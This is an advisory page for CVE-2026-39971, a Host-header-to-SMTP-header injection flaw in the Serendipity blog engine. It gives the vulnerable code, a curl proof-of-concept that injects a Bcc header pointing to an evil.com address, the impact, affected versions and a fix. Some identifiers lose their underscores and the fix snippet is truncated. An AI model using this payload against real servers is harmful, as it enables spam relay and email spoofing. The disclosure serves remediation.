CVE-2026-39971: Serendipity: Host Header Injection leads to SMTP header injection via unvalidated HTTP_HOST

Published Apr 14, 2026
·
Updated

Summary Serendipity inserts $SERVER['HTTPHOST'] directly into the Message-ID SMTP header without any validation beyond CRLF stripping. An attacker who can control the Host header during an email-triggering action can inject arbitrary SMTP headers into outgoing emails, enabling spam relay, BCC injection, and email spoofing.

Details In include/functions.inc.php:548: php $maildata['headers'][] = 'Message-ID: <' . bin2hex(randombytes(16)) . '@' . $SERVER['HTTPHOST'] // ← unsanitized, attacker-controlled . '>';

The existing sanitization function only blocks \r\n and URL-encoded variants: php function serendipityisResponseClean($d) { return (strpos($d, "\r") === false && strpos($d, "\n") === false && stripos($d, "%0A") === false && stripos($d, "%0D") === false); }

Critically, serendipityisResponseClean() is not even called on HTTPHOST before embedding it into the mail headers — making this exploitable with any character that SMTP interprets as a header delimiter.

Email is triggered by actions such as: - New comment notifications to blog owner - Comment subscription notifications to subscribers - Password reset emails (if configured)

PoC bash Trigger comment notification email with injected header curl -s -X POST \ -H "Host: attacker.com>\r\nBcc: victim@evil.com\r\nX-Injected:" \ -d "serendipity[comment]=test&serendipity[name]=hacker&serendipity[email]=a@b.com&serendipity[entryid]=1" \ http://[TARGET]/comment.php Resulting malicious Message-ID header in outgoing email: Message-ID: <deadbeef@attacker.com> Bcc: victim@evil.com X-Injected: >

Impact An attacker can control the domain portion of the Message-ID header in all outgoing emails sent by Serendipity (comment notifications, subscriptions). This enables: - Identity spoofing — emails appear to originate from attacker-controlled domain - Reply hijacking — some mail clients use Message-ID for threading, pointing replies toward attacker infrastructure - Email reputation abuse — attacker's domain embedded in legitimate mail headers Suggested Fix Sanitize HTTPHOST before embedding in mail headers, and restrict to valid hostname characters only: php $safehost = pregreplace('/[^a-zA-Z0-9.\-]/', '', parseurl('http://' . $SERVER['HTTPHOST'], PHPURLHOST) ); $maildata['headers'][] = 'Message-ID: ';

Other sources

Serendipity is a PHP-powered weblog engine. In versions 2.6-beta2 and below, the email sending functionality in include/functions.inc.php inserts $SERVER['HTTPHOST'] directly into the Message-ID SMTP header without validation, and the existing sanitization function serendipityisResponseClean() is not called on HTTPHOST before embedding it. An attacker who can control the Host header during an email-triggering action such as comment notifications or subscription emails can inject arbitrary SMTP headers into outgoing emails. This enables identity spoofing, reply hijacking via manipulated Message-ID threading, and email reputation abuse through the attacker's domain being embedded in legitimate mail headers. This issue has been fixed in version 2.6.0.

MITRE

Affected Software

3 affected componentsFixes available
composer/s9y/serendipity<2.6.0
2.6.0
S9Y Serendipity<2.6.0
S9Y Serendipity=2.6.0-beta1

Event History

Apr 14, 2026
Advisory Published
via GitHub·10:32 PM
Data Sourced
via GitHub·10:32 PM
DescriptionSeverityWeaknessAffected Software
CVE Published
via MITRE·11:35 PM
Data Sourced
via MITRE·11:35 PM
DescriptionSeverityWeakness
Apr 15, 2026
Data Sourced
via NVD·04:17 AM
RemedyDescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-39971?

CVE-2026-39971 has a high severity rating due to its potential to allow arbitrary SMTP header injection.

2

How do I fix CVE-2026-39971?

To fix CVE-2026-39971, update Serendipity to version 2.6.0 or higher.

3

What type of attack does CVE-2026-39971 enable?

CVE-2026-39971 enables an attacker to perform spam relay attacks by injecting arbitrary SMTP headers.

4

Which software is affected by CVE-2026-39971?

CVE-2026-39971 affects all versions of Serendipity prior to 2.6.0.

5

How can I mitigate the risks associated with CVE-2026-39971?

Mitigate risks from CVE-2026-39971 by validating the HTTP_HOST input and ensuring proper header sanitation.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203